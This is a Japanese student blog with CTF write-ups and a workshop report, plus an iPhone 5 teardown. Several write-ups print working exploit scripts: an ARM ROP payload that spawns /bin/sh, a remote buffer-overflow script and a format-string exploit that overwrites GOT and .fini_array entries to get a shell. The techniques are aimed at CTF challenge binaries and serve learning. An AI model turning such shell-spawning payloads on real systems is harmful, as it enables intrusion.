ブログ未満のなにか

ブログなのか誰にも分からない

MCC CTF workshopのはなし

はじめに

この記事は、MCC Advent Calendar 2016 - Adventarの23日目の記事です。
前日の22日目の記事は、Cherry氏のE科鬼実験体験談 | MCC Blogです。

こんばんわ、S科B4のhamaです。役職などありませんが、CTFの方にちょくちょく参加してます。
今回は、タイトル通りにCTF workshopについて書きたいと思います。

概要

9月7日、9日に開催されました。
7日は、shift_crops先生によるexploit(pwn)とbinaryの講義。
9日は、monjisan先生によるWebの講義と、icchy先生によるForensicの講義でした。

binary

binaryは、与えられた実行形式ファイルを解析してフラグを得るというのが目標となるジャンルで、講義ではアセンブラの読み方など初歩からやっていました。
shift_crops先生は、ctf4bという入門者向けの講座の先生も務めている大先生なので、わかりやすく楽しい講義でした。

exploit

脆弱性のあるバイナリが10個ほど与えられました。
脆弱性を突きシェルを奪うのがゴールで、黙々と攻撃してました。
取り扱った脆弱性は、FSB(Format String Bug)と、BOF(Buffer OverFllow)でした。
あとはShellcodeに関するものもありました。
shift_crops大先生は、pwnの大先生なので細かいテクニックなども聞けて楽しかったです。

web

すいません、よく聞いてなかったのか覚えてません。
MCCのslackの#ctf_workshopに、スライドが上がってるので確認してください。
monjisan先生は、javascriptの大先生なのでwebに強いです。

forensic

icchy先生によるforensicの講義です。
forensicとは何かから始まり、この間開催されたTWCTFの問題を解説を交えながら解きました。

おわりに

だいたいの資料や使用したバイナリでは、#ctf_workshopに上がってますので部員なら誰でも閲覧できると思います。
次回のworkshopが開催されるとかされないとか微妙な感じなので、参加希望者多数にして開催しましょう!!!

次の24日目記事は、gurapomu氏のMinecraft Modding 入門です。

camp ctf 2016 writeup -Mercury編-

はじめに

この記事はCTF Advent Calendar 2016 - Adventarの23日目の記事です。
前日の22日目はelliptic_shiho氏の古典暗号 - 一致指数を用いた多表式暗号の解読 - ₍₍ (ง ˘ω˘ )ว ⁾⁾ < 暗号楽しいですでした。

今年のセキュリティキャンプ2016全国大会で開催されたCTFで出題された問題のwriteupです。
ジャンル名はMercuryで、権限昇格系の問題です。問題名は分かりません。

初期調査

leetは、ARMの32bit ELFであり、ソースコードも付いており親切設計。
カナリアがないので、この段階でBOFかなーと予想を立てる。

$ ls -l
-rw-r----- 1 root     mercury2    41 Jul 27 16:09 flag
-rwxr-s--- 1 mercury1 mercury2  7320 Jul 27 16:09 leet
-rw-r----- 1 mercury2 mercury1   924 Aug  8 16:41 leet.c

$ file ./leet
./leet: ELF 32-bit LSB executable, ARM, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=0x4736edbcdaab4e66ac3cac3d675331310f714dc3, not stripped

$ checksec --file ./leet
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
No RELRO        No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   ./leet

ソースコード

bufとoutputのサイズは512byteとなっており、fgetsもサイズ分しか受け取らないようになっている。
leet関数では、対応する文字を別の文字へと置き換える処理を行っていおり、一部の文字を使えばBOFを引き起こすことができる。
outputはmain関数のローカル変数となっており、またカナリアがないので、main関数のリターンアドレスを書き換えて制御を奪う方針でいく。

init関数内でsysytemを呼んでおり、これも使えそう。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>
#define BUF_SIZE 512

char buf[BUF_SIZE];

__attribute__((constructor))
void init(void){
	setbuf(stdin, NULL);
	setbuf(stdout, NULL);
	system("date");
}

void leet(char*, char*);

void main(void){
	char output[BUF_SIZE];

	fprintf(stdout, "InputText : ");
	fgets(buf, sizeof(buf), stdin);
	leet(output, buf);
	fprintf(stdout, "LeetSpeak : %s\n", output);
}

void leet(char *dst, char *src){
	int i,j;
	char dict_src[]  = {'a','e','i','o','q','s','t','H','K'};
	char *dict_dst[] = {"4","3","1","0","9","5","7","|-|","|<"};

	assert(sizeof(dict_src)==sizeof(dict_dst)/sizeof(char*));

	for(i=0; src[i]^'\n'&&i<BUF_SIZE; i++){
		for(j=0; j<sizeof(dict_src); j++)
			if(src[i]==dict_src[j]){
				int sz = strlen(dict_dst[j]);
				memcpy(dst, dict_dst[j], sz);
				dst+=sz;
				goto done;
			}

		*(dst++) = src[i];
done:		continue;
	}
	*dst='\0';
}

exploit

x86では関数の引数をスタックを用いて渡しているが、ARMではレジスタを用いて引数を設定するので、ROPなどでレジスタに引数を設定する必要がある。
使えそうなgadgetを探すと、tomoriセクションにnao関数が存在している。
spで指している値をr0に設定しており、使えそう。

また、bufの先頭アドレスは0x20a2cであり、指定する際に改行文字が含まれるので適当に工夫する。
212バイト先が0x20b00であり、そこから/bin/shを配置した。

Disassembly of section tomori:

0001083c <nao>:
   1083c:       e52db004        push    {fp}            ; (str fp, [sp, #-4]!)
   10840:       e28db000        add     fp, sp, #0
   10844:       e8bd8001        pop     {r0, pc}
   10848:       e24bd000        sub     sp, fp, #0
   1084c:       e49db004        pop     {fp}            ; (ldr fp, [sp], #4)
   10850:       e12fff1e        bx      lr

最終的なexploitは、こちら

import struct
from subprocess import Popen, PIPE

buf_size = 512
main_addr = 0x000105d8
nao_addr = 0x0001083c
system_addr = 0x105c4
buf_addr = 0x20a2c 
pudding_size = 212

payload = 'H' *  (buf_size / 3)
payload += 'AA'
payload += struct.pack('<I', buf_addr + pudding_size)
payload += struct.pack('<I', nao_addr)
payload += struct.pack('<I', system_addr)

payload += 'B' * (pudding_size - len(payload))
payload += '/bin/sh\x00'

payload += '\n'

p = Popen(['./leet'], stdin=PIPE, stdout=PIPE)

print p.stdout.readline()			                   # system('date')の出力
print p.stdout.read(len('InputText : '))
p.stdin.write(payload)
print '[+] payload = ', repr(payload)

print p.stdout.readline()
p.stdin.write('exec /bin/sh <&2 >&2\n')
p.wait()

シェルが起動するので、あとは読むだけ。

mercury1@ctf-server:/home/mercury2 $ python /home/pi/exploit.py 
Mon 21 Nov 21:10:53 JST 2016

InputText : 
[+] payload =  'HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHAA\x01\x0b\x02\x00<\x08\x01\x00\xc4\x05\x01\x00BBBBBBBBBBBBBBBBBBBBBBBBBBBBB/bin/sh\x00\n'
LeetSpeak : |-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-|AA


$ id
uid=1002(mercury1) gid=1002(mercury1) egid=1003(mercury2) groups=1003(mercury2),1000(pi),1002(mercury1)
$ cat flag
FLAG{r37urn_0r13n73d_pr0gr4mm1ng_0n_ARM}
$ exit

さいごに

ARMのpwnは初めてのような気がするので、結構面白かった。他のARMの問題もやってみたけど、あまり聞かないので知っている方いましたら教えてください。

作問者からROPで行けると聞いていたのだが、これROPか?といった気持ち(広義の意味ではReterun Orientedか...)。

あと、ARMのexploit環境でオススメのツールとかあったら教えてください。解析を素のgdbでやっていたので相当キツかった。

次の24日目の記事はinza2氏のThe Malloc Maleficarum (Bugtraq 2005)です!

参考にした記事など

inaz2.hatenablog.com

Hack The Vote 2016 writeup

はじめに

TokyoWesternsで参加して、結果は2401ptsの19位だった。
自分が関わった分は、150pts分だったので、そのwriteupを書いていく。

TOPKEK (Crypto 50)

見た感じランレングスっぽいなーと思い、適当にやってみたら当たっていた。

% cat kek.43319559636b94db1c945834340b65d68f90b6ecbb70925f7b24f6efc5c2524e.txt 
KEK! TOP!! KEK!! TOP!! KEK!! TOP!! KEK! TOP!! KEK!!! TOP!! KEK!!!! TOP! KEK! TOP!! KEK!! TOP!!! KEK! TOP!!!! KEK! TOP!! KEK! TOP! KEK! TOP! KEK! TOP! KEK!!!! TOP!! KEK!!!!! TOP!! KEK! TOP!!!! KEK!! TOP!! KEK!!!!! TOP!! KEK! TOP!!!! KEK!! TOP!! KEK!!!!! TOP!! KEK! TOP!!!! KEK!! TOP!! KEK!!!!! TOP!! KEK! TOP!!!! KEK!! TOP!! KEK!!!!! TOP! KEK! TOP! KEK!!!!! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK!! TOP!! KEK!!! TOP! KEK! TOP!! KEK! TOP!! KEK! TOP! KEK! TOP! KEK! TOP!!!!! KEK! TOP!! KEK! TOP! KEK!!!!! TOP!! KEK! TOP! KEK!!! TOP! KEK! TOP! KEK! TOP!! KEK!!! TOP!! KEK!!! TOP! KEK! TOP!! KEK! TOP!!! KEK!! TOP! KEK!!! TOP!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK!!! TOP!! KEK!! TOP!!! KEK! TOP! KEK! TOP! KEK! TOP! KEK!! TOP!!! KEK!! TOP! KEK! TOP!!!!! KEK! TOP!!! KEK!! TOP! KEK!!! TOP!! KEK!!! TOP! KEK! TOP!! KEK!! TOP!!! KEK! TOP! KEK!! TOP! KEK!!!! TOP!!! KEK! TOP! KEK!!! TOP! KEK! TOP!!!!! KEK! TOP!! KEK! TOP!!! KEK!!! TOP!! KEK!!!!! TOP! KEK! TOP! KEK! TOP!!! KEK! TOP! KEK! TOP!!!!! KEK!! TOP!! KEK! TOP! KEK!!! TOP! KEK! TOP! KEK!! TOP! KEK!!! TOP!! KEK!! TOP!! KEK! TOP! KEK! TOP!!!!! KEK! TOP!!!! KEK!! TOP! KEK!! TOP!! KEK!!!!! TOP!!! KEK! TOP! KEK! TOP! KEK! TOP! KEK! TOP!!!!! KEK! TOP!! KEK! TOP! KEK!!!!! TOP!! KEK! TOP! KEK!!! TOP!!! KEK! TOP!! KEK!!! TOP!! KEK!!! TOP! KEK! TOP!! KEK! TOP!!! KEK!! TOP!! KEK!! TOP!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP!! KEK!! TOP!! KEK!! TOP!!! KEK! TOP! KEK! TOP! KEK! TOP!! KEK! TOP!!! KEK!! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK!! TOP! KEK! TOP!! KEK!! TOP!! KEK!! TOP!! KEK! TOP! KEK!! TOP! KEK! TOP!! KEK!! TOP! KEK!!!! TOP! KEK!! TOP! KEK!!!! TOP! KEK!! TOP! KEK!!!! TOP! KEK! TOP!!!!! KEK! TOP
def count_exp(c):
    result = 0
    for i in c:
        if i == '!':
            result = result + 1
    return result 


cry = '''KEK! TOP!! KEK!! TOP!! KEK!! TOP!! KEK! TOP!! KEK!!! TOP!! KEK!!!! TOP! KEK! TOP!! KEK!! TOP!!! KEK! TOP!!!! KEK! TOP!! KEK! TOP! KEK! TOP! KEK! TOP! KEK!!!! TOP!! KEK!!!!! TOP!! KEK! TOP!!!! KEK!! TOP!! KEK!!!!! TOP!! KEK! TOP!!!! KEK!! TOP!! KEK!!!!! TOP!! KEK! TOP!!!! KEK!! TOP!! KEK!!!!! TOP!! KEK! TOP!!!! KEK!! TOP!! KEK!!!!! TOP! KEK! TOP! KEK!!!!! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK!! TOP!! KEK!!! TOP! KEK! TOP!! KEK! TOP!! KEK! TOP! KEK! TOP! KEK! TOP!!!!! KEK! TOP!! KEK! TOP! KEK!!!!! TOP!! KEK! TOP! KEK!!! TOP! KEK! TOP! KEK! TOP!! KEK!!! TOP!! KEK!!! TOP! KEK! TOP!! KEK! TOP!!! KEK!! TOP! KEK!!! TOP!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK!!! TOP!! KEK!! TOP!!! KEK! TOP! KEK! TOP! KEK! TOP! KEK!! TOP!!! KEK!! TOP! KEK! TOP!!!!! KEK! TOP!!! KEK!! TOP! KEK!!! TOP!! KEK!!! TOP! KEK! TOP!! KEK!! TOP!!! KEK! TOP! KEK!! TOP! KEK!!!! TOP!!! KEK! TOP! KEK!!! TOP! KEK! TOP!!!!! KEK! TOP!! KEK! TOP!!! KEK!!! TOP!! KEK!!!!! TOP! KEK! TOP! KEK! TOP!!! KEK! TOP! KEK! TOP!!!!! KEK!! TOP!! KEK! TOP! KEK!!! TOP! KEK! TOP! KEK!! TOP! KEK!!! TOP!! KEK!! TOP!! KEK! TOP! KEK! TOP!!!!! KEK! TOP!!!! KEK!! TOP! KEK!! TOP!! KEK!!!!! TOP!!! KEK! TOP! KEK! TOP! KEK! TOP! KEK! TOP!!!!! KEK! TOP!! KEK! TOP! KEK!!!!! TOP!! KEK! TOP! KEK!!! TOP!!! KEK! TOP!! KEK!!! TOP!! KEK!!! TOP! KEK! TOP!! KEK! TOP!!! KEK!! TOP!! KEK!! TOP!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP!! KEK!! TOP!! KEK!! TOP!!! KEK! TOP! KEK! TOP! KEK! TOP!! KEK! TOP!!! KEK!! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK!! TOP! KEK! TOP!! KEK!! TOP!! KEK!! TOP!! KEK! TOP! KEK!! TOP! KEK! TOP!! KEK!! TOP! KEK!!!! TOP! KEK!! TOP! KEK!!!! TOP! KEK!! TOP! KEK!!!! TOP! KEK! TOP!!!!! KEK! TOP!'''

# print cry.split(" ")
list_cry = cry.split(" ")

result = ''
for c in list_cry:
    if 'KEK' in c:
        result += '0' * count_exp(c)
    if 'TOP' in c:
        result += '1' * count_exp(c)

print '[+] result =', result
print '[+] result =', hex(int(result, 2))
flag =  hex(int(result, 2))
flag = flag[2:-1]

print flag
print flag.decode('hex')

% python solver.py 
[+] result = 0110011001101100011000010110011101111011010101000011000001101111001100000110111100110000011011110011000001101111001100000101000001011111010111110101111101011111010111110101111100110001011011010101111101101000001101000101011000110001011011100100011101011111010001100111010101001110010111110111001000110001011001110100100001110100010111110110111000110000010101110101111100110100010100100011001101011111011110010011000001110101010111110110100000110100011101100011000101101110011001110101111101100110011101010110111001011111010111110101111101011111010111110101111101001011001100110100101100100001001000010010000101111101
[+] result = 0x666c61677b54306f306f306f306f30505f5f5f5f5f5f316d5f683456316e475f46754e5f72316748745f6e30575f3452335f7930755f683476316e675f66756e5f5f5f5f5f5f4b334b2121217dL
666c61677b54306f306f306f306f30505f5f5f5f5f5f316d5f683456316e475f46754e5f72316748745f6e30575f3452335f7930755f683476316e675f66756e5f5f5f5f5f5f4b334b2121217d
flag{T0o0o0o0o0P______1m_h4V1nG_FuN_r1gHt_n0W_4R3_y0u_h4v1ng_fun______K3K!!!}

IRS (Exploitation 100)

メニューの1番で新規登録を行い、3番で登録した情報の編集が行えた。確認の"y/n"メッセージの後にgets()で入力を取っているので、ここでBOFが起きる。
canaryもないので、EIPを書き換え可能となっている。
Trumpさんのパスワードがflagとなっており、そのアドレスは固定となっている。
リターンアドレスをputs()を呼び出すように、引数にflagをセットすればいい。
競技中、flagのアドレスを間違えており、1時間ぐらい悩んでいた。
メンバーに相談したところ、サクッとフラグを取ってくれて有難かった。

from pwn import *

bufsize = 21 
puts_addr = 0x80484f8
flag_addr = 0x8048ac2

host = 'irs.pwn.republican'
port = 4127

conn = remote(host, port)
#conn = process('./irs')

conn.recvuntil('Donald Trump')
conn.sendline('1')
conn.recvuntil('Enter the name: ')
conn.sendline('A')
conn.recvuntil('Enter the password: ')
conn.sendline('B')
conn.recvuntil('Enter the income: ')
conn.sendline('1')
conn.recvuntil('Enter the deductions: ')
conn.sendline('2')

conn.recvuntil('1 - A')
conn.sendline('3')
conn.recvuntil('Enter the name of the file to edit: ')
conn.sendline('A')
conn.recvuntil('Enter the password: ')
conn.sendline('B')
conn.recvuntil('Enter the new income: ')
conn.sendline('3')
conn.recvuntil('Enter the new deductible: ')
conn.sendline('4')
print conn.recvuntil('y/n')

payload = 'A' * (bufsize)
payload += 'dead'  
payload += p32(puts_addr)  
payload += 'beaf'
payload += p32(flag_addr)
print '[+] payload =', payload
conn.sendline(payload)
conn.recvuntil('Your changes have been recorded!')
recv =  conn.recv(1024)
recv =  conn.recv(1024)
print recv
% python exploit.py 
[+] Opening connection to irs.pwn.republican on port 4127: Done
y/n
[+] payload = AAAAAAAAAAAAAAAAAAAAAdead?beaf\x0

flag?@\x04{c4n?_1_g?@\x0c3t_a?@\x10_r3f?@\x14und}\x8bE??@d\xff\x9frN\x8bE??@h\xff\x9frN\x8bE??E?\x83?
                                                                                                     ?E?P?,?\xff\xff\x83?\xa1 \xb0\x0\x83?Pj\x03\x8dE?P???\xff\xff\x83?\x83?j2j

[*] Closed connection to irs.pwn.republican port 4127

フォーマットに合うように整形して

flag{c4n_1_get_a_r3fund}

FOX Voting Simulator (Exploitation 300)

この問題は、取り組んでいたが競技中に解けなかったもの。
NWO_memberVote関数のダンプまではしたが、よく読まずに問題ないと判断して詰んでいた。
他のwriteupを見るとheap overflowが起こせたようで、action関数のアドレスを書き換えてone-gadget /bin/sh RCEを呼べばシェルを取れたようだった。

おわりに

精進します。もっとpwnできるようになりたい。

SECCON2016 大阪大会 writeup

はじめに

バイナリ早食い大会で、バイナリ総数が2万を超えていた。
SECCON最多らしいでの、歴史に立ち会えた感じがする。

今回は、tuat_mccで参加した。
結果は2位で、まぁまぁ良かったかなと。
しかし、2位でも1位の半分以下しか点数が取れなかったので、圧倒的実力差があった。辛い

f:id:hama7230:20161003154300j:plain

問題内容

問題サーバは、下記の4つ(競技説明のスライドから抜粋)。
バックドアを探せは、入力された文字列と内部で処理された文字列を比較していくもので、一致していればフラグを得られる。
スタックオーバーフローは、フラグを出力する関数があるので、BOFしてリターンアドレスをフラグ出力関数に書き換えれば良いというもの。
easyとhardの差は、難読化がされているかどうか。

– 10.0.1.2:10000
● バックドアを探せ(easy, 5分毎にバイナリ更新, 全36バイナリ)
– 10.0.1.2:20000
● バックドアを探せ(hard, 1秒毎にバイナリ更新, 全10,800バイナリ)
– 10.0.1.2:30000
● スタックバッファオーバーフローで制御を奪え(easy, 5分毎にバイナリ更新, 全36バイナリ)
– 10.0.1.2:40000
● スタックバッファオーバーフローで制御を奪え(hard, 1秒毎にバイナリ更新, 全10,800バイナリ

writeup

まず、10000番ポートのバイナリの解析に取り掛かった。このポートのバイナリは、ある固定の値でXORした文字列と、入力された文字列が一致していればフラグを得ることができる。その処理を行っているところが、以下の通りとなっている。
10000番ポートから降ってくるバイナリの1つから抜粋したので、バイナリごとにアドレスや値が異なっている。しかし、命令の並びは同じであるので、どのバイナリでも同じように解析可能だった。

最初のmov命令で、ecx(カウンタ)に、文字列同士を比較するときの長さを格納している。
movabs命令で、rsiにランダムな文字列を格納している。この文字列が、後でXORされて入力文字列と比較される。
続く2つのmov命令で、入力文字列と、ランダム文字列から1文字ずつ取り出している。
xor命令で、ランダム文字列側の1文字を固定値で、XORしている。
最後にcmpで比較しており、一致していない場合は、Hello World!を出力するようにジャンプしていく。
一致していた場合は、rcxをデクリメントし、2つ文字列から1文字取り出す処理にジャンプし、ループしていく。

以上のことから、excに格納される値、ランダム文字列が格納されているアドレス、xorする値の3つが分かればいいので、
それを抜き出してフラグをサブミットしてもらう処理を、他のメンバに自動化してもらった。
https://t.co/EMSyXzO4TX


  400153:       b9 0f 00 00 00          mov    ecx,0xf
  400158:       48 8d 7d f1             lea    rdi,[rbp-0xf]
  40015c:       48 be 35 02 40 00 00    movabs rsi,0x400235
  400163:       00 00 00 
  400166:       8a 44 0f ff             mov    al,BYTE PTR [rdi+rcx*1-0x1]
  40016a:       8a 5c 0e ff             mov    bl,BYTE PTR [rsi+rcx*1-0x1]
  40016e:       34 e8                   xor    al,0xe8
  400170:       38 d8                   cmp    al,bl
  400172:       75 11                   jne    0x400185
  400174:       48 ff c9                dec    rcx
  400177:       75 ed                   jne    0x400166


20000番ポートだが、難読化がキツくて読み進めるのが辛かった。
途中で、これを人力でやるのは無理だと感じ、秘密兵器のangrを使おうと思ったが、使い方が分からなかった。
Hello World!が出力されないパスとか求められないかなー」と考えていたが、やり方が分からなかった。

30000番と40000番ポートの問題はノータッチで、他のメンバが取り組んでくれていた。
30000番は、バッファサイズと、カナリア、secretを出力する関数のアドレスが求めて、exploitを組み立てていたみたいで、フラグのsubmitも含めて自動化していた。
40000番は、まったく知らない。他のメンバが、バッファサイズとカナリアを求めることができたそうなので、あともう少しだったらしい。

さいごに

競技時間中にメンバーと、「angr使う余地ある?」みたいな会話をしていた。優勝チームは、angrを使ってhardの問題を解いていたので、もう辛い。findとavoidのアドレスを設定して回す、みたいな使い方しか知らなかったので、angrをもっと知っておけば良かったと後悔している。

自動化を競う大会なのに、まったく自動化しようとしなかったので、その点は反省したい。
そもそも競技中に書いたコードが、フラグをsubmitするシェルスクリプトぐらいだった。

せっかく大阪に来たのでゲーセンに行こうとしたら客引きに、こんなことを言われてしまい辛かった。

iPhone 5を分解してみた話

はじめに

4年前に契約したiPhone 5を、分解してみた。
1ヶ月前から液晶が割れて黒いシミのようなものが出ていて、
1週間前からタッチパネルが反応しなくなってきていた。

自分で修理するキットもあるんだなー、と調べながら考えていたが、
このまま使い続けるのもアレなので、今日発売されたiPhone 7に乗り換えた。

もう使わない&使えない状態のiPhone 5をバラして、中身を観察してみた。

バラした後

ちなみに今はこんな感じ
リチウムイオンポリマーバッテリーが殆どのスペースを占領している。
ちなみにだが、この状態でもiTunesで認識されているし、MacFaceTimeiPhoneを使って電話をかけることも出来た。

f:id:hama7230:20160916180925j:plain

カメラモジュール小さいなー

f:id:hama7230:20160916180958j:plain

デジタイザーも薄い

f:id:hama7230:20160916181055j:plain

f:id:hama7230:20160916181241j:plain

おわりに

Appleが公式で出している資料とかないかな。
詳細とか気になる

Tokyo Westerns/MMA CTF 2nd 2016 writeup

はじめに

RinGorillaというチームで、参加しました。
530ptの99位で、僕が通したsubmitは、60ptです。
と言っても、welcomeの10ptがあるので、実質1問だけです。
他のメンバーに申し訳ない。。。

解けたjudgementと、他のwriteupを見ながら解いたgreetingの2問のwriteupです。

judgement

事前調査。

% file judgement 
judgement: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID

% checksec --file judgement  
[*] '/home/hama/ctf/twctf/judgement'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE
[hama@vm_ubuntu-x86_64] ~/


main関数の前に、load_flagという関数が呼ばれており、flagが読まれているよう。
flagのあるメモリのアドレスは、0x804a0a0だった。
スタックに、0x804a0a0があれば、FSBで読み出すことができる。

printf実行直前で、0x804a0a0を検索してみると、スタックに積まれていることがわかる。
gdbで、0x804a0a0のオフセットを確認したら、28と32だった。

gdb-peda$ searchmem 0x804a0a0
Searching for '0x804a0a0' in: None ranges
Found 7 results, display max 7 items:
judgement : 0x80486e6 (<init+89>:	mov    al,ds:0x8d0804a0)
judgement : 0x80487ab (<main+128>:	mov    al,ds:0x8d0804a0)
judgement : 0x80496e6 --> 0x804a0a0 ("TWCTF{dummy}")
judgement : 0x80497ab --> 0x804a0a0 ("TWCTF{dummy}")
  [stack] : 0xffffdb00 --> 0x804a0a0 ("TWCTF{dummy}")
  [stack] : 0xffffdb10 --> 0x804a0a0 ("TWCTF{dummy}")
  [stack] : 0xffffdb44 --> 0x804a0a0 ("TWCTF{dummy}")
% nc pwn1.chal.ctf.westerns.tokyo 31729
Flag judgment system
Input flag >> %32$s
TWCTF{R3:l1f3_1n_4_pwn_w0rld_fr0m_z3r0}
Wrong flag...

greeting

競技中に解けなかった。
どこのアドレスを書き換えればいいのか分からずタイムアップ。

% file greeting 
greeting: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[
[hama@vm_ubuntu-x86_64] ~/ctf/twctf/greeting

% checksec --file ./greeting
[*] '/home/hama/ctf/twctf/greeting/greeting'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE


main関数の処理が終わると、_fini_arrayにあるアドレスの処理が実行される。
この_fini_arrayの値を書き換えてやれば、main関数終了後に、任意の処理を実行可能となっている。
_fini_addrをmainに書き換える。また、strlenのGOTを、systemに書き換える。
入力された文字列の長さを得るために、strlen(input)となっているので、system("/bin/sh")となるようにする。
二度目のmainの処理で、入力として"/bin/sh"を与える。
以下が、そのexploitのコード。

from pwn import *
from libformatstr import FormatStr

host = 'pwn2.chal.ctf.westerns.tokyo'
port = 16317

_fini_array_addr = 0x08049934
main_addr = 0x080485ed 
system_addr = 0x08048490
strlen_got_addr = 0x8049a54

offset = 12
padding = 2

'''
  20] .fini_array       FINI_ARRAY      08049934 000934 000004 00  WA  0   0  4

080485ed <main>:
   80485ed:       55                      push   ebp
   80485ee:       89 e5                   mov    ebp,esp
   80485f0:       83 e4 f0                and    esp,0xfffffff0

08048490 <system@plt>:
    8048490:       ff 25 48 9a 04 08       jmp    DWORD PTR ds:0x8049a48
    8048496:       68 28 00 00 00          push   0x28
    804849b:       e9 90 ff ff ff          jmp    8048430 <_init+0x2c>

080484c0 <strlen@plt>:
    80484c0:       ff 25 54 9a 04 08       jmp    DWORD PTR ds:0x8049a54
    80484c6:       68 40 00 00 00          push   0x40
    80484cb:       e9 60 ff ff ff          jmp    8048430 <_init+0x2c>
'''

p = FormatStr()
p[_fini_array_addr] = main
p[strlen_got_addr] = system

r = remote(host, port)
print r.recv()
r.sendline(p.payload(offset, padding, len("Nice to meet you, ")))
print r.recv()
r.sendline("/bin/sh")
r.interactive()
% python exploit.py 
[+] Opening connection to pwn2.chal.ctf.westerns.tokyo on port 16317: Done
Hello, I'm nao!
Please tell me your name... 
Nice to meet you,                                                                                                                        
[*] Switching to interactive mode                                                                                                        
                                                                                                                                         
Please tell me your name... $ cat flag
TWCTF{51mpl3_FSB_r3wr173_4nyw4r3}
$ 
[*] Closed connection to pwn2.chal.ctf.westerns.tokyo port 16317

おわりに

pwn初心者なので、greetingは勉強になった。
今回から、pwn系のtoolを使い始めたので、慣れていきたい。
運営のTokyo Westernsに感謝!

camp ctf 2016 writeup -ジャンルが分からない問題編 part 1-

はじめに

前回の記事に引き続き、セキュリティキャンプで開催されたCTFのwriteupです。
今回は、問題のジャンルが判別できなかったものです。

secret.zip

/home/pi/problems/に、いくつかのファイルが置いてある。
その中の一つで、forensic系の問題。

解凍して、種類を確認してみる。

$ unzip secret.zip 
Archive:  secret.zip
  inflating: camp_forensic.bin

$ file camp_forensic.bin 
camp_forensic.bin: Linux rev 1.0 ext4 filesystem data, UUID=1da7d7fb-a2a2-405b-95ee-c506c875aa7e (needs journal recovery) (extents) (huge files)

ext4なので、マウントしてみる。中身は、以下の通りだった。flagディレクトリの中にflagファイル、隠しディレクトリの.keysの中にid_rsa.pubといった感じ(lost+foundは知らない。見れない理由は分からないけど、解いていく過程で必要なかった)
各ファイルの中身は以下の通り。
flagファイルはダミー。id_rsa.pubは、名前とファイルの形式から、RSAの公開鍵だと思われる。

$ sudo mount -o loop camp_forensic.bin /mnt/
$ tree -a /mnt/
/mnt/
├── flag
│   └── flag
├── .keys
│   └── id_rsa.pub
└── lost+found [error opening dir]

$ cat /mnt/flag/flag 
FLAG{dummy}
$ cat /mnt/.keys/id_rsa.pub 
-----BEGIN PUBLIC KEY-----
MDcwDQYJKoZIhvcNAQEBBQADJgAwIwIcDDw+ASni/QBnuKaXy1ZrfUn32msWl9ky
YSP6jQIDAQAB
-----END PUBLIC KEY-----

ここで、消去されたファイルがないか探してみる。あった。

$ sudo extundelete --after 1470068040 --restore-all ./camp_forensic.bin
Only show and process deleted entries if they are deleted on or after 1470068040 and before 9223372036854775807.
NOTICE: Extended attributes are not restored.
WARNING: EXT3_FEATURE_INCOMPAT_RECOVER is set.
The partition should be unmounted to undelete any files without further data loss.
If the partition is not currently mounted, this message indicates 
it was improperly unmounted, and you should run fsck before continuing.
If you decide to continue, extundelete may overwrite some of the deleted
files and make recovering those files impossible.  You should unmount the
file system and check it with fsck before using extundelete.
Would you like to continue? (y/n) 
y
Loading filesystem metadata ... 8 groups loaded.
Loading journal descriptors ... 45 descriptors loaded.
Searching for recoverable inodes in directory / ... 
1 recoverable inodes found.
Looking through the directory structure for deleted files ... 
0 recoverable inodes still lost.

% ls
RECOVERED_FILES/  camp_forensic.bin  secret.zip

% tree -a RECOVERED_FILES
RECOVERED_FILES
└── flag
    └── flag.txt

中身は、暗号化されているようなので、復号する必要がある。

% cat RECOVERED_FILES/flag/flag.txt 
#J4?j?-?v=???R*E&???YH? %                                                                                                     

% xxd RECOVERED_FILES/flag/flag.txt 
